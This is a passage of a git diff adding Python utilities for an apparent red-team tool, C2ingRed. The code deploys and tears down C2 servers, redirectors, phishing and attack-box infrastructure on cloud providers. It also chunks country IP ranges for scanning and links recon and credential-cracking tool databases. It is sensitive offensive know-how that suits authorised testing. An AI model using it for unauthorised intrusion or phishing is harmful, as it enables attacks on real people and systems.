"tool": tool_name, + "type": event_type, + "msg": message, + }) + with open(events_path, "a") as f: + fcntl.flock(f, fcntl.LOCK_EX) + f.write(entry + "\n") + fcntl.flock(f, fcntl.LOCK_UN) + except OSError: + pass + + +# โ”€โ”€โ”€ Cross-Tool Imports โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +# Maps tool name to (table_name, target_column) for extracting targets +TOOL_TARGET_QUERIES = { + "um-scan": ("SELECT DISTINCT host FROM hosts", "host"), + "um-api": ("SELECT DISTINCT target FROM targets", "target"), + "um-intel": ("SELECT DISTINCT target FROM targets", "target"), + "um-enum": ("SELECT DISTINCT domain FROM targets", "domain"), + "um-fuzz": ("SELECT DISTINCT base_url FROM results", "base_url"), + "um-hash": ("SELECT DISTINCT domain FROM sites", "domain"), + "um-wp": ("SELECT DISTINCT domain FROM sites WHERE is_wordpress=1", "domain"), + "um-crack": ("SELECT DISTINCT domain FROM hashes WHERE cracked_email != ''", "domain"), + "um-exif": ("SELECT DISTINCT file_path FROM images WHERE has_exif=1", "file_path"), +} + + +def get_targets_from_tool_db(db_path, tool_name): + """Query another tool's database to extract target list. + + Returns a list of target strings. + """ + if not os.path.exists(db_path): + return [] + + query_info = TOOL_TARGET_QUERIES.get(tool_name) + if not query_info: + return [] + + query = query_info[0] + try: + conn = sqlite3.connect(db_path) + rows = conn.execute(query).fetchall() + conn.close() + return [str(r[0]) for r in rows if r[0]] + except Exception: + return [] + + +def find_tool_db(tool_name, engagement=None): + """Locate a tool's database file. + + Search order: + 1. Engagement directory (if provided) + 2. Current working directory + """ + # Check engagement directory first + if engagement: + db_path = get_engagement_db_path(engagement, tool_name) + if os.path.exists(db_path): + return db_path + + # Fall back to current working directory + cwd_path = os.path.join(os.getcwd(), f"{tool_name}.db") + if os.path.exists(cwd_path): + return cwd_path + + return None diff --git a/utils/__init__.py b/utils/__init__.py new file mode 100644 index 0000000..2c540eb --- /dev/null +++ b/utils/__init__.py @@ -0,0 +1 @@ +# Utils package for C2ingRed diff --git a/utils/aws_utils.py b/utils/aws_utils.py new file mode 100644 index 0000000..c7203f2 --- /dev/null +++ b/utils/aws_utils.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python3 +""" +AWS provider utilities for C2ingRed deployment system +""" + +import os +import subprocess +import logging +from .common import COLORS, load_vars_file + +def get_aws_credentials(provider_vars=None): + """Get AWS credentials โ€” Infisical first, vars.yaml fallback, then prompt.""" + key = '' + secret = '' + + try: + key = subprocess.check_output( + [os.path.expanduser('~/.local/bin/creds'), 'get', 'AWS_ACCESS_KEY_ID', 'homelab'], + text=True, stderr=subprocess.DEVNULL, + ).strip() + secret = subprocess.check_output( + [os.path.expanduser('~/.local/bin/creds'), 'get', 'AWS_SECRET_ACCESS_KEY', 'homelab'], + text=True, stderr=subprocess.DEVNULL, + ).strip() + except Exception: + pass + + if not key: + if not provider_vars: + provider_vars = load_vars_file('aws') + key = provider_vars.get('aws_access_key', '') + secret = provider_vars.get('aws_secret_key', '') + if key and 'YOUR_AWS' in key: + key = '' + secret = '' + + print(f"\n{COLORS['BLUE']}AWS Configuration{COLORS['RESET']}") + if key: + print(f" AWS credentials loaded") + else: + key = input("AWS Access Key: ").strip() + secret = input("AWS Secret Key: ").strip() + + return {'aws_access_key': key, 'aws_secret_key': secret} + +def select_aws_regions(provider_vars=None) -> list[str]: + """Return region list โ€” single entry if user specified one, all regions if blank (random per-node).""" + if not provider_vars: + provider_vars = load_vars_file('aws') + + regions = provider_vars.get('aws_region_choices', ['us-east-1']) + + print(f"\nAvailable AWS regions:") + for i, region in enumerate(regions, 1): + print(f" {i:2}. {region}") + + region_input = input("\nSelect region (number or leave blank for random per-node): ").strip() + + if not region_input: + return regions + + try: + idx = int(region_input) + if 1 <= idx <= len(regions): + return [regions[idx - 1]] + except ValueError: + pass + + print(f"{COLORS['RED']}Invalid input, using random per-node regions{COLORS['RESET']}") + return regions + +def gather_aws_config(): + """Gather all AWS-specific configuration""" + provider_vars = load_vars_file('aws') + config = {} + + aws_creds = get_aws_credentials(provider_vars) + config.update(aws_creds) + + aws_regions = select_aws_regions(provider_vars) + config['aws_regions'] = aws_regions + config['aws_region'] = aws_regions[0] + + config['ami_map'] = provider_vars.get('ami_map', {}) + config['aws_instance_type'] = provider_vars.get('aws_instance_type', 't3.micro') + config['aws_volume_size'] = provider_vars.get('aws_volume_size', 20) + + return config diff --git a/utils/chunk_utils.py b/utils/chunk_utils.py new file mode 100644 index 0000000..5f82d7d --- /dev/null +++ b/utils/chunk_utils.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python3 +import ipaddress +from utils.cidr_resolver import get_country_cidrs + + +def ip_count(cidr: str) -> int: + try: + return ipaddress.ip_network(cidr, strict=False).num_addresses + except ValueError: + return 0 + + +def chunk_cidrs(all_cidrs: list[str], chunk_size: int) -> list[dict]: + chunks = [] + current_cidrs: list[str] = [] + current_count = 0 + + for cidr in all_cidrs: + n = ip_count(cidr) + if n == 0: + continue + if current_count > 0 and current_count + n > chunk_size * 1.5: + chunks.append({'cidrs': current_cidrs, 'ip_count': current_count}) + current_cidrs = [] + current_count = 0 + current_cidrs.append(cidr) + current_count += n + if current_count >= chunk_size: + chunks.append({'cidrs': current_cidrs, 'ip_count': current_count}) + current_cidrs = [] + current_count = 0 + + if current_cidrs: + chunks.append({'cidrs': current_cidrs, 'ip_count': current_count}) + + return chunks + + +__all__ = ['get_country_cidrs', 'chunk_cidrs', 'ip_count'] diff --git a/utils/cidr_resolver.py b/utils/cidr_resolver.py new file mode 100644 index 0000000..71b82b4 --- /dev/null +++ b/utils/cidr_resolver.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 +import ipaddress +import math +import time +from pathlib import Path +from urllib.request import urlretrieve +from urllib.error import URLError + +CACHE_DIR = Path.home() / '.cache' / 'c2itall' / 'cidr' +CACHE_TTL = 86400 # 24 hours + +RIR_URLS = { + 'arin': 'https://ftp.arin.net/pub/stats/arin/delegated-arin-extended-latest', + 'ripe': 'https://ftp.ripe.net/ripe/stats/delegated-ripencc-extended-latest', + 'apnic': 'https://ftp.apnic.net/stats/apnic/delegated-apnic-extended-latest', + 'lacnic': 'https://ftp.lacnic.net/pub/stats/lacnic/delegated-lacnic-extended-latest', + 'afrinic': 'https://ftp.afrinic.net/stats/delegated-afrinic-extended-latest', +} + + +def _cache_path(rir: str) -> Path: + return CACHE_DIR / f'{rir}.txt' + + +def _is_stale(path: Path) -> bool: + if not path.exists(): + return True + return (time.time() - path.stat().st_mtime) > CACHE_TTL + + +def _fetch_rir(rir: str, url: str) -> Path: + path = _cache_path(rir) + CACHE_DIR.mkdir(parents=True, exist_ok=True) + if _is_stale(path): + try: + urlretrieve(url, path) + except (URLError, OSError): + pass # use stale cache if download fails + return path + + +def _count_to_cidrs(start: str, count: int) -> list[str]: + try: + start_addr = ipaddress.IPv4Address(start) + end_addr = ipaddress.IPv4Address(int(start_addr) + count - 1) + return [str(n) for n in ipaddress.summarize_address_range(start_addr, end_addr)] + except (ipaddress.AddressValueError, ValueError): + return [] + + +def _parse_rir_file(path: Path, target_ccs: set[str]) -> dict[str, list[str]]: + result: dict[str, list[str]] = {cc: [] for cc in target_ccs} + try: + with open(path, encoding='latin-1') as f: + for line in f: + line = line.strip() + if not line or line.startswith('#'): + continue + parts = line.split('|') + if len(parts) < 7: + continue + _, cc, type_, start, count_str, _, status = parts[:7] + if type_ != 'ipv4': + continue + if status not in ('allocated', 'assigned'): + continue + cc = cc.upper() + if cc not in target_ccs: + continue + try: + count = int(count_str) + except ValueError: + continue + result[cc].extend(_count_to_cidrs(start, count)) + except OSError: + pass + return result + + +def get_country_cidrs(country_codes: list[str], exclude_map: dict[str, list] | None = None) -> dict[str, list[str]]: + if exclude_map is None: + exclude_map = {} + target_ccs = {cc.upper() for cc in country_codes} + combined: dict[str, list[str]] = {cc: [] for cc in target_ccs} + + for rir, url in RIR_URLS.items(): + path = _fetch_rir(rir, url) + partial = _parse_rir_file(path, target_ccs) + for cc, cidrs in partial.items(): + combined[cc].extend(cidrs) + + for cc, excludes in exclude_map.items(): + cc = cc.upper() + if cc not in combined or not excludes: + continue + exclude_nets = [] + for ex in excludes: + try: + exclude_nets.append(ipaddress.ip_network(ex, strict=False)) + except ValueError: + pass + if not exclude_nets: + continue + filtered = [] + for cidr in combined[cc]: + try: + net = ipaddress.ip_network(cidr, strict=False) + if not any(net.overlaps(ex) for ex in exclude_nets): + filtered.append(cidr) + except ValueError: + filtered.append(cidr) + combined[cc] = filtered + + return combined diff --git a/utils/cleanup_engine.py b/utils/cleanup_engine.py new file mode 100644 index 0000000..0b63ec3 --- /dev/null +++ b/utils/cleanup_engine.py @@ -0,0 +1,318 @@ +#!/usr/bin/env python3 +""" +Cleanup and teardown engine for C2ingRed deployments +""" + +import os +import sys +import subprocess +import logging +import json +import glob + +# Add project root to path +sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..')) + +from utils.common import COLORS, PROVIDER_DIRS, confirm_action + +def teardown_by_deployment_id(deployment_id): + """Teardown infrastructure by deployment ID""" + print(f"\n{COLORS['BLUE']}Teardown Infrastructure by ID: {deployment_id}{COLORS['RESET']}") + + # Look for deployment logs to determine provider and configuration + log_files = glob.glob(f"logs/deployment_{deployment_id}*.log") + + if not log_files: + print(f"{COLORS['RED']}No deployment logs found for ID: {deployment_id}{COLORS['RESET']}") + return False + + # Try to find deployment info files + info_files = glob.glob(f"logs/deployment_info_{deployment_id}*.txt") + + if info_files: + config = parse_deployment_info(info_files[0]) + if config: + return execute_teardown(config) + + print(f"{COLORS['YELLOW']}Could not determine deployment configuration from logs{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Manual cleanup may be required{COLORS['RESET']}") + return False + +def teardown_all_infrastructure(): + """Teardown all deployed infrastructure""" + print(f"\n{COLORS['RED']}โš ๏ธ WARNING: This will attempt to destroy ALL infrastructure!{COLORS['RESET']}") + + if not confirm_action("Are you absolutely sure?", default=False): + return False + + # Find all deployment info files + info_files = glob.glob("logs/deployment_info_*.txt") + + if not info_files: + print(f"{COLORS['GREEN']}No deployment info files found - nothing to teardown{COLORS['RESET']}") + return True + + print(f"Found {len(info_files)} deployments to teardown:") + + success_count = 0 + for info_file in info_files: + config = parse_deployment_info(info_file) + if config: + deployment_id = config.get('deployment_id', 'unknown') + print(f"\nTearing down deployment: {deployment_id}") + if execute_teardown(config): + success_count += 1 + + print(f"\n{COLORS['GREEN']}Successfully tore down {success_count}/{len(info_files)} deployments{COLORS['RESET']}") + return success_count == len(info_files) + +def parse_deployment_info(info_file): + """Parse deployment info from file to extract configuration""" + try: + config = {} + with open(info_file, 'r') as f: + lines = f.readlines() + + in_config_section = False + for line in lines: + line = line.strip() + + if line == "Configuration:": + in_config_section = True + continue + elif line.startswith("-" * 30): + continue + elif line.startswith("Access Information:"): + break + + if in_config_section and ": " in line: + key, value = line.split(": ", 1) + + # Convert string values back to appropriate types + if value.lower() == 'true': + value = True + elif value.lower() == 'false': + value = False + elif value.lower() == 'none': + value = None + + config[key] = value + + return config + except Exception as e: + logging.error(f"Failed to parse deployment info from {info_file}: {e}") + return None + +def execute_teardown(config): + """Execute teardown based on configuration""" + provider = config.get('provider') + deployment_id = config.get('deployment_id') + + if not provider or not deployment_id: + print(f"{COLORS['RED']}Missing provider or deployment ID{COLORS['RESET']}") + return False + + print(f"{COLORS['BLUE']}Executing teardown for {provider} deployment {deployment_id}...{COLORS['RESET']}") + + # Set up logging for teardown + from utils.common import setup_logging + setup_logging(deployment_id, "teardown") + + try: + # Set provider-specific environment variables + set_provider_environment_for_teardown(config) + + # Get correct provider directory + provider_dir = PROVIDER_DIRS.get(provider, provider.capitalize()) + + # Execute teardown playbook + playbook = f"providers/{provider_dir}/cleanup.yml" + + if not os.path.exists(playbook): + print(f"{COLORS['YELLOW']}Teardown playbook not found: {playbook}{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Manual cleanup required{COLORS['RESET']}") + return manual_cleanup_guidance(config) + + success = run_teardown_playbook(playbook, config) + + if success: + # Clean up local SSH keys + cleanup_ssh_keys_for_deployment(deployment_id) + + # Move deployment logs to cleanup folder + archive_deployment_logs(deployment_id) + + print(f"{COLORS['GREEN']}Teardown completed successfully{COLORS['RESET']}") + else: + print(f"{COLORS['RED']}Teardown failed - manual cleanup may be required{COLORS['RESET']}") + + return success + + except Exception as e: + logging.error(f"Teardown execution failed: {e}") + print(f"{COLORS['RED']}Teardown execution failed: {e}{COLORS['RESET']}") + return False + +def set_provider_environment_for_teardown(config): + """Set provider-specific environment variables for teardown""" + provider = config.get('provider') + + if provider == "aws": + if config.get('aws_access_key'): + os.environ['AWS_ACCESS_KEY_ID'] = config['aws_access_key'] + if config.get('aws_secret_key'): + os.environ['AWS_SECRET_ACCESS_KEY'] = config['aws_secret_key'] + elif provider == "linode": + # Try to get token from config first, then from vars file + if config.get('linode_token'): + os.environ['LINODE_TOKEN'] = config['linode_token'] + else: + # Load token from provider vars file + try: + from utils.common import load_vars_file, PROVIDER_DIRS + vars_data = load_vars_file(provider) + if vars_data and vars_data.get('linode_token'): + os.environ['LINODE_TOKEN'] = vars_data['linode_token'] + config['linode_token'] = vars_data['linode_token'] # Add to config for later use + else: + logging.warning("Linode token not found in vars file - cleanup may fail") + except Exception as e: + logging.warning(f"Failed to load Linode token from vars file: {e}") + +def run_teardown_playbook(playbook, config): + """Run the teardown Ansible playbook""" + try: + cmd = [ + 'ansible-playbook', + playbook, + '--extra-vars', create_teardown_vars(config) + ] + + if config.get('debug'): + cmd.append('-vvv') + + logging.info(f"Executing teardown: {' '.join(cmd)}") + + result = subprocess.run( + cmd, + capture_output=True, + text=True, + cwd=os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + ) + + if result.returncode == 0: + logging.info("Teardown playbook executed successfully") + return True + else: + logging.error(f"Teardown playbook failed with return code {result.returncode}") + logging.error(f"STDOUT: {result.stdout}") + logging.error(f"STDERR: {result.stderr}") + return False + + except Exception as e: + logging.error(f"Error executing teardown playbook: {e}") + return False + +def create_teardown_vars(config): + """Create Ansible extra vars for teardown""" + teardown_vars = { + 'deployment_id': config.get('deployment_id'), + 'provider': config.get('provider'), + 'operation': 'teardown' + } + + # Add instance names for proper cleanup + if config.get('redirector_name'): + teardown_vars['redirector_name'] = config['redirector_name'] + if config.get('c2_name'): + teardown_vars['c2_name'] = config['c2_name'] + if config.get('tracker_name'): + teardown_vars['tracker_name'] = config['tracker_name'] + if config.get('attack_box_name'): + teardown_vars['attack_box_name'] = config['attack_box_name'] + + # Add provider-specific vars if present + if config.get('aws_access_key'): + teardown_vars['aws_access_key'] = config['aws_access_key'] + if config.get('aws_secret_key'): + teardown_vars['aws_secret_key'] = config['aws_secret_key'] + if config.get('aws_region'): + teardown_vars['aws_region'] = config['aws_region'] + if config.get('linode_token'): + teardown_vars['linode_token'] = config['linode_token'] + if config.get('linode_region'): + teardown_vars['linode_region'] = config['linode_region'] + + return json.dumps(teardown_vars) + +def cleanup_ssh_keys_for_deployment(deployment_id): + """Clean up SSH keys for a specific deployment""" + ssh_dir = os.path.expanduser("~/.ssh") + key_pattern = f"c2deploy_{deployment_id}*" + + for key_file in glob.glob(os.path.join(ssh_dir, key_pattern)): + try: + os.remove(key_file) + logging.info(f"Removed SSH key: {key_file}") + except Exception as e: + logging.warning(f"Failed to remove SSH key {key_file}: {e}") + +def archive_deployment_logs(deployment_id): + """Archive deployment logs after successful teardown""" + try: + # Create archive directory + archive_dir = "logs/archive" + os.makedirs(archive_dir, exist_ok=True) + + # Move all files related to this deployment + log_patterns = [ + f"logs/deployment_{deployment_id}*", + f"logs/deployment_info_{deployment_id}*", + f"logs/teardown_{deployment_id}*" + ] + + for pattern in log_patterns: + for file_path in glob.glob(pattern): + archive_path = os.path.join(archive_dir, os.path.basename(file_path)) + os.rename(file_path, archive_path) + logging.info(f"Archived: {file_path} -> {archive_path}") + + except Exception as e: + logging.warning(f"Failed to archive logs for {deployment_id}: {e}") + +def manual_cleanup_guidance(config): + """Provide manual cleanup guidance when automated teardown isn't available""" + provider = config.get('provider') + deployment_id = config.get('deployment_id') + + print(f"\n{COLORS['YELLOW']}Manual Cleanup Required{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}========================{COLORS['RESET']}") + print(f"Deployment ID: {deployment_id}") + print(f"Provider: {provider}") + + if provider == "aws": + print(f"\nAWS Resources to check:") + print(f"- EC2 instances with tags containing: {deployment_id}") + print(f"- Security groups with names containing: {deployment_id}") + print(f"- Key pairs with names containing: {deployment_id}") + print(f"- EIPs associated with the deployment") + + elif provider == "linode": + print(f"\nLinode Resources to check:") + print(f"- Linodes with labels containing: {deployment_id}") + print(f"- NodeBalancers with labels containing: {deployment_id}") + print(f"- Firewalls with labels containing: {deployment_id}") + + elif provider == "flokinet": + print(f"\nFlokiNET Resources to check:") + print(f"- Check your FlokiNET control panel for resources created") + print(f"- Look for servers with the deployment ID: {deployment_id}") + + print(f"\nLocal cleanup:") + print(f"- SSH keys: ~/.ssh/c2deploy_{deployment_id}*") + print(f"- Log files: logs/*{deployment_id}*") + + return False # Manual cleanup required + +if __name__ == "__main__": + print("Cleanup engine loaded") diff --git a/utils/common.py b/utils/common.py new file mode 100644 index 0000000..6e673de --- /dev/null +++ b/utils/common.py @@ -0,0 +1,224 @@ +#!/usr/bin/env python3 +""" +Common utilities and constants for C2ingRed deployment system +""" + +import os +import sys +import random +import string +import logging +import subprocess +import re +from datetime import datetime + +# Constants for providers +PROVIDERS = ["aws", "linode", "flokinet"] +DEFAULT_SSH_USER = { + "aws": "kali", + "linode": "root", + "flokinet": "root" +} + +# Directory names - maintain correct case for each provider +PROVIDER_DIRS = { + "aws": "AWS", + "linode": "Linode", + "flokinet": "FlokiNET" +} + +# Color codes for terminal output +COLORS = { + "RESET": "\033[0m", + "RED": "\033[91m", + "GREEN": "\033[92m", + "YELLOW": "\033[93m", + "BLUE": "\033[94m", + "PURPLE": "\033[95m", + "CYAN": "\033[96m", + "WHITE": "\033[97m", + "GRAY": "\033[90m" +} + +def clear_screen(): + """Clear the terminal screen""" + os.system('cls' if os.name == 'nt' else 'clear') + +def print_banner(): + """Print the C2ingRed banner""" + banner = f""" +{COLORS['BLUE']}========================================================{COLORS['RESET']} +{COLORS['BLUE']} โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—{COLORS['RESET']} +{COLORS['BLUE']} โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ• โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—{COLORS['RESET']} +{COLORS['BLUE']} โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘{COLORS['RESET']} +{COLORS['BLUE']} โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ•โ•โ• โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ• โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘{COLORS['RESET']} +{COLORS['BLUE']} โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•{COLORS['RESET']} +{COLORS['BLUE']} โ•šโ•โ•โ•โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•โ•šโ•โ• โ•šโ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ• โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ•{COLORS['RESET']} +{COLORS['BLUE']} {COLORS['RESET']} +{COLORS['BLUE']} Red Team Infrastructure Deployment Tool {COLORS['RESET']} +{COLORS['BLUE']}========================================================{COLORS['RESET']} + """ + print(banner) + +def generate_random_string(length=8): + """Generate a random string of letters and digits.""" + return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) + +def generate_deployment_id(): + """Generate a consistent deployment ID for all resources in this deployment""" + from utils.name_generator import generate_deployment_id as generate_verb_animal_id + return generate_verb_animal_id() + +def archive_old_logs(max_logs_to_keep=2): + """Archive old log files to keep logs directory clean - more aggressive archiving""" + import glob + import shutil + from pathlib import Path + + log_dir = "logs" + archive_dir = os.path.join(log_dir, "archive") + + if not os.path.exists(log_dir): + return + + # Create archive directory if it doesn't exist + os.makedirs(archive_dir, exist_ok=True) + + # Get all log files (excluding archive directory) - ANY existing logs should be archived + log_files = [] + for pattern in ["deployment_*.log", "teardown_*.log", "20*.log"]: + log_files.extend(glob.glob(os.path.join(log_dir, pattern))) + + # Remove duplicates and filter out archive directory + log_files = [f for f in set(log_files) if "archive" not in f] + + # Sort by modification time (newest first) + log_files.sort(key=lambda x: os.path.getmtime(x), reverse=True) + + # Archive ALL deployment logs to keep directory clean for new deployments + if len(log_files) > 0: + print(f"Found {len(log_files)} log files to archive") + + archived_count = 0 + for log_file in log_files: + try: + filename = os.path.basename(log_file) + # Add timestamp to archived filename to prevent conflicts + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") + archived_filename = f"{timestamp}_{filename}" + archive_path = os.path.join(archive_dir, archived_filename) + + shutil.move(log_file, archive_path) + archived_count += 1 + print(f"Archived: {filename} -> archive/{archived_filename}") + except Exception as e: + print(f"Failed to archive {log_file}: {e}") + + if archived_count > 0: + print(f"Archived {archived_count} log files to {archive_dir}") + + # Also archive old deployment info files + info_files = glob.glob(os.path.join(log_dir, "deployment_info_*.txt")) + + if len(info_files) > 0: + print(f"Found {len(info_files)} info files to archive") + for info_file in info_files: + try: + filename = os.path.basename(info_file) + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") + archived_filename = f"{timestamp}_{filename}" + archive_path = os.path.join(archive_dir, archived_filename) + + shutil.move(info_file, archive_path) + print(f"Archived: {filename} -> archive/{archived_filename}") + except Exception as e: + print(f"Failed to archive {info_file}: {e}") + +def setup_logging(deployment_id=None, operation_type="deployment"): + """Set up logging for the deployment or teardown""" + log_dir = "logs" + os.makedirs(log_dir, exist_ok=True) + + # Archive old logs before starting new deployment + if operation_type == "deployment": + archive_old_logs() + + # Create distinct log files for deployment vs teardown operations + if operation_type == "teardown": + log_file = os.path.join(log_dir, f"teardown_{deployment_id}.log") + else: + log_file = os.path.join(log_dir, f"deployment_{deployment_id}.log") + + # Clear any existing handlers + root_logger = logging.getLogger() + root_logger.handlers.clear() + + # Configure file handler to log DEBUG and above for full verbosity + file_handler = logging.FileHandler(log_file) + file_handler.setLevel(logging.DEBUG) + file_formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s') + file_handler.setFormatter(file_formatter) + + # Add console handler for INFO level and above + console_handler = logging.StreamHandler() + console_handler.setLevel(logging.INFO) + console_formatter = logging.Formatter('[%(levelname)s] %(message)s') + console_handler.setFormatter(console_formatter) + + # Configure root logger + root_logger.setLevel(logging.DEBUG) # Capture everything at root level + root_logger.addHandler(file_handler) + root_logger.addHandler(console_handler) + + logging.info(f"{operation_type.capitalize()} operation started") + logging.info(f"Deployment ID: {deployment_id}") + logging.info(f"Full verbose output will be captured in: {log_file}") + return log_file + +def load_vars_file(provider): + """Load vars.yaml for the specified provider""" + if provider not in PROVIDER_DIRS: + return {} + + # Use correct case for directory + provider_dir = PROVIDER_DIRS[provider] + vars_file = f"providers/{provider_dir}/vars.yaml" + + if os.path.exists(vars_file): + try: + import yaml + with open(vars_file, 'r') as f: + return yaml.safe_load(f) or {} + except Exception as e: + logging.error(f"Failed to load {vars_file}: {e}") + return {} + else: + logging.warning(f"Vars file not found: {vars_file}") + return {} + +def validate_ip_address(ip): + """Validate IP address format""" + pattern = r'^(\d{1,3}\.){3}\d{1,3}$' + return re.match(pattern, ip) is not None + +def get_public_ip(): + """Get the user's public IP address""" + try: + import requests + return requests.get('https://api.ipify.org', timeout=5).text.strip() + except: + return None + +def confirm_action(message, default=False): + """Ask for user confirmation with a yes/no prompt""" + prompt = f"{message} ({'Y/n' if default else 'y/N'}): " + response = input(prompt).lower().strip() + + if not response: + return default + + return response in ['y', 'yes'] + +def wait_for_input(message="Press Enter to continue..."): + """Wait for user input before continuing""" + input(f"\n{message}") diff --git a/utils/deployment_engine.py b/utils/deployment_engine.py new file mode 100644 index 0000000..f0a7c7f --- /dev/null +++ b/utils/deployment_engine.py @@ -0,0 +1,369 @@ +#!/usr/bin/env python3 +""" +Deployment engine for C2ingRed infrastructure deployments +""" + +import os +import sys +import subprocess +import logging +import json + +# Add project root to path +sys.path.append(os.path.join(os.path.dirname(__file__), '..')) + +from utils.common import COLORS, PROVIDER_DIRS + +_SECRET_KEYS = frozenset({ + 'linode_token', 'aws_access_key', 'aws_secret_key', 'flokinet_api_key', + 'smtp_auth_pass', 'smtp_password', 'ftp_password', 'api_key', + 'password', 'secret', 'token', +}) + + +def deploy_infrastructure(config): + """ + Deploy infrastructure based on the provided configuration. + + Args: + config: Dictionary containing deployment configuration + + Returns: + bool: True if deployment succeeded, False otherwise + """ + provider = config.get('provider') + deployment_id = config.get('deployment_id') + + if not provider or not deployment_id: + logging.error("Missing provider or deployment ID in configuration") + return False + + # Determine which playbook to use + playbook = determine_playbook(config) + + if not playbook: + logging.error("Could not determine appropriate playbook for deployment") + return False + + if not os.path.exists(playbook): + logging.error(f"Playbook not found: {playbook}") + print(f"{COLORS['RED']}Playbook not found: {playbook}{COLORS['RESET']}") + return False + + logging.info(f"Using playbook: {playbook}") + + # Set provider-specific environment variables + set_provider_environment(config) + + # Execute the deployment + return execute_playbook(playbook, config) + + +def determine_playbook(config): + """ + Determine the correct playbook based on deployment configuration. + + Args: + config: Deployment configuration dictionary + + Returns: + str: Path to the playbook file + """ + provider = config.get('provider') + provider_dir = PROVIDER_DIRS.get(provider, provider.capitalize()) + base_path = f"providers/{provider_dir}" + + # Attack box deployment + if config.get('attack_box_deployment'): + return f"{base_path}/attack_box.yml" + + # Redirector-only deployment + if config.get('redirector_only'): + return f"{base_path}/redirector.yml" + + # Tracker deployment + if config.get('tracker_deployment'): + return f"{base_path}/tracker.yml" + + # Phishing infrastructure deployment + if config.get('phishing_deployment'): + # Check for provider-specific phishing playbook first + provider_specific = f"{base_path}/{provider}_phishing.yml" + if os.path.exists(provider_specific): + return provider_specific + return f"{base_path}/phishing.yml" + + # Chat server deployment + if config.get('chat_deployment'): + return f"{base_path}/chat_server.yml" + + # C2 deployment (default for C2 infrastructure) + if config.get('c2_only') or config.get('deploy_c2') or config.get('c2_framework'): + return f"{base_path}/c2.yml" + + # Default to C2 playbook + return f"{base_path}/c2.yml" + + +def set_provider_environment(config): + """ + Set provider-specific environment variables for deployment. + + Args: + config: Deployment configuration dictionary + """ + provider = config.get('provider') + + if provider == "aws": + if config.get('aws_access_key'): + os.environ['AWS_ACCESS_KEY_ID'] = config['aws_access_key'] + if config.get('aws_secret_key'): + os.environ['AWS_SECRET_ACCESS_KEY'] = config['aws_secret_key'] + if config.get('aws_region'): + os.environ['AWS_DEFAULT_REGION'] = config['aws_region'] + + elif provider == "linode": + if config.get('linode_token'): + os.environ['LINODE_TOKEN'] = config['linode_token'] + else: + # Pull from Infisical at runtime + try: + token = subprocess.check_output( + [os.path.expanduser('~/.local/bin/creds'), 'get', 'LINODE_TOKEN', 'homelab'], + text=True, 